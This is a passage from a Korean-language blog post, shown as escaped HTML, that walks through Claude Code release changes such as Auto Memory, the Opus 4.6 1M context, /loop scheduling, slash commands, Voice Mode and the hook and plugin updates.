&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;PowerShell, TaskCreated 훅, 75분 유휴 /clear 안내, CJK IME 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;훅 if 조건부 필드, PreToolUse updatedInput&lt;/b&gt;, 스크롤 WASM&amp;rarr;TS, MCP headersHelper 환경변수, 30건+ 버그 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;X-Claude-Code-Session-Id 헤더&lt;/b&gt;, .jj/.sl VCS 제외, Read 토큰 최적화, /skills 알파벳 정렬, 메모리 파일 클릭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.87&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Cowork Dispatch 메시지 미전달 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Auto Memory &amp;mdash; Claude가 기억하기 시작하다&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59 이전까지 Claude Code는 세션이 끝나면 모든 것을 잊었다. CLAUDE.md에 수동으로 적어두지 않으면 &quot;지난번에 어떤 결정을 했는지&quot; 알 수 없었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vrvBJ/dJMcahDQwH1/TIQlKjozv1DXGM6HNku53k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vrvBJ/dJMcahDQwH1/TIQlKjozv1DXGM6HNku53k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vrvBJ/dJMcahDQwH1/TIQlKjozv1DXGM6HNku53k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvrvBJ%2FdJMcahDQwH1%2FTIQlKjozv1DXGM6HNku53k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2004&quot; height=&quot;1092&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Memory 진화&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.59&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Memory 출시&lt;/b&gt; &amp;mdash; Claude가 유용한 컨텍스트를 자동 저장. &lt;code&gt;/memory&lt;/code&gt;로 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;git 워크트리 간 Auto Memory &lt;b&gt;자동 공유&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.74&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;autoMemoryDirectory&lt;/code&gt; 설정 &amp;mdash; 커스텀 저장 경로 지원 (Dropbox, iCloud 동기화 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;메모리 파일에 &lt;b&gt;last-modified 타임스탬프&lt;/b&gt; &amp;mdash; 오래된 메모리와 최신 메모리 구분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/code&gt;에 마크다운으로 저장된다. &lt;code&gt;/memory&lt;/code&gt;로 열어서 오래되거나 잘못된 항목을 정리하면 Claude의 판단 정확도가 올라간다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Opus 4.6 + 1M 컨텍스트 &amp;mdash; 모델의 체급 변화&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.68&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.6 기본 &lt;b&gt;medium effort&lt;/b&gt; (Max/Team). &quot;ultrathink&quot; 키워드로 high effort 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.68&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.0/4.1 제거 &amp;mdash; 핀된 사용자 자동 Opus 4.6 이전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;effort 단순화: low(○) / medium(◐) / high(●). &lt;code&gt;/effort auto&lt;/code&gt;로 기본값 복원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Bedrock/Vertex/Foundry 기본 모델도 &lt;b&gt;Opus 4.6&lt;/b&gt;으로 (이전: Opus 4.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.75&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 1M 컨텍스트&lt;/b&gt; 기본 제공 (Max/Team/Enterprise). 이전에는 추가 사용량 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LK4tO/dJMcaiQgEv7/W9eRzbiDYnFH7yZFDmU2Sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LK4tO/dJMcaiQgEv7/W9eRzbiDYnFH7yZFDmU2Sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LK4tO/dJMcaiQgEv7/W9eRzbiDYnFH7yZFDmU2Sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLK4tO%2FdJMcaiQgEv7%2FW9eRzbiDYnFH7yZFDmU2Sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1050&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59에서 v2.1.75까지, Claude Code의 기본 모델이 Opus 4.1 &amp;rarr; Opus 4.6(medium effort, 1M 컨텍스트)으로 완전히 전환되었다. 이 변화만으로도 긴 세션의 안정성과 코드 품질이 크게 개선된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. /loop &amp;amp; 크론 &amp;mdash; 세션 내 자동화&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CIlX9/dJMcaaxZsPv/usGZPtwryibGZ0DmoQFi10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CIlX9/dJMcaaxZsPv/usGZPtwryibGZ0DmoQFi10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CIlX9/dJMcaaxZsPv/usGZPtwryibGZ0DmoQFi10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCIlX9%2FdJMcaaxZsPv%2FusGZPtwryibGZ0DmoQFi10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1114&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# v2.1.71: /loop으로 세션 내 반복 실행
/loop 5m check if the deployment finished
/loop 30m check the build
/loop check the build every 2 hours  # 자연어 간격
/loop check the build                # 기본 10분

# 다른 명령어를 반복
/loop 20m /review-pr 1234

# v2.1.72: 비활성화
export CLAUDE_CODE_DISABLE_CRON=1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.71&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop&lt;/b&gt; 명령어 + cron 스케줄링 도구 (CronCreate/CronList/CronDelete)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_CRON&lt;/code&gt; 환경변수로 비활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;/loop Bedrock/Vertex/Foundry 및 텔레메트리 비활성 환경에서도 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/loop의 제약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;/loop은 &lt;b&gt;세션이 열려 있는 동안만&lt;/b&gt; 동작한다. 노트북을 닫으면 끝난다. 노트북을 닫아도 실행되는 Cloud 스케줄 태스크(&lt;code&gt;/schedule&lt;/code&gt;)는 v2.1.76 이후에 추가되었으며, 이 글에서 함께 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 개발자 도구 &amp;mdash; /simplify, /batch, /plan, /context&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVzWoh/dJMcaaSiQij/tIf4KPCV0vXq15Ky0FkFa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVzWoh/dJMcaaSiQij/tIf4KPCV0vXq15Ky0FkFa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVzWoh/dJMcaaSiQij/tIf4KPCV0vXq15Ky0FkFa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVzWoh%2FdJMcaaSiQij%2FtIf4KPCV0vXq15Ky0FkFa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1068&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;명령어&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/simplify&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;변경된 코드의 재사용성, 품질, 효율성을 검토하고 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/batch&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;여러 작업을 병렬로 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/copy&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.59&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;인터랙티브 코드블록 피커. v2.1.72에서 &lt;code&gt;w&lt;/code&gt;키로 파일 직접 쓰기 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/plan&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;설명 인자 추가 &amp;mdash; &lt;code&gt;/plan fix the auth bug&lt;/code&gt;로 즉시 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/context&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.74&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;컨텍스트 사용량 분석 + 구체적 최적화 제안&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/color&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 바 색상 커스터마이징&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/context&lt;/code&gt;는 긴 세션에서 &quot;왜 응답이 느려졌지?&quot;를 진단하는 데 유용하다. 컨텍스트를 많이 먹는 도구, 메모리 팽창, 용량 경고를 구체적인 최적화 팁과 함께 보여준다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Voice Mode &amp;mdash; 20개 언어, 키바인딩, 안정화&lt;/b&gt;&lt;/h2&gt;
버전Voice Mode 변경
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;STT&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;20개 언어&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;지원 (러시아어, 폴란드어, 터키어, 네덜란드어, 우크라이나어, 그리스어, 체코어, 덴마크어, 스웨덴어, 노르웨이어 추가)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.71&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;voice:pushToTalk&lt;span&gt;&amp;nbsp;&lt;/span&gt;키바인딩 &amp;mdash;&lt;span&gt;&amp;nbsp;&lt;/span&gt;keybindings.json에서 변경 가능 (기본: space)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;음성 인식 정확도 개선 (regex, OAuth, JSON 등 개발 용어)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 손상 수정, 자동 재시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;신규 설치 시 /voice 두 번 토글 필요 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 플러그인 &amp;amp; 훅 생태계&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.63&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;HTTP 훅&lt;/b&gt; &amp;mdash; shell 대신 URL로 POST JSON 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;InstructionsLoaded&lt;/code&gt; 훅 &amp;mdash; CLAUDE.md/.claude/rules 로드 시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;플러그인 &lt;code&gt;git-subdir&lt;/code&gt; 소스 타입, &lt;code&gt;/reload-plugins&lt;/code&gt;, &lt;code&gt;${CLAUDE_SKILL_DIR}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;훅 이벤트에 &lt;code&gt;agent_id&lt;/code&gt;, &lt;code&gt;agent_type&lt;/code&gt;, &lt;code&gt;worktree&lt;/code&gt; 필드 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md HTML 주석(&lt;code&gt;&amp;lt;!-- --&amp;gt;&lt;/code&gt;) 자동 주입 시 숨김 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;modelOverrides&lt;/code&gt; &amp;mdash; Bedrock/Vertex 커스텀 모델 ID 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;훅 권한 프롬프트에 &lt;b&gt;소스 표시&lt;/b&gt; (settings/plugin/skill 중 어디서 왔는지)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 성능 &amp;amp; 메모리 &amp;mdash; 13건의 누수를 잡다&lt;/b&gt;&lt;/h2&gt;
